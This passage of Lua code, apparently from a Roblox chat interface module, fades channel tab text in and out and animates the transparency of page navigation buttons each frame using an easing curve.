for channelName, channelObj in pairs(self.ChannelTabs) do
channelObj:FadeOutText(duration)
end
end
function methods:FadeInText(duration)
for channelName, channelObj in pairs(self.ChannelTabs) do
channelObj:FadeInText(duration)
end
end
function methods:AnimGuiObjects()
self.GuiObjects.PageLeftButton.ImageTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.PageRightButton.ImageTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.PageLeftButtonArrow.ImageTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.PageRightButtonArrow.ImageTransparency = self.AnimParams.Background_CurrentTransparency
end
function methods:InitializeAnimParams()
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_CurrentTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(0)
end
function methods:Update(dtScale)
for channelName, channelObj in pairs(self.ChannelTabs) do
channelObj:Update(dtScale)
end
self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Background_CurrentTransparency,
self.AnimParams.Background_TargetTransparency,
self.AnimParams.Background_NormalizedExptValue,
dtScale
)
self:AnimGuiObjects()
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.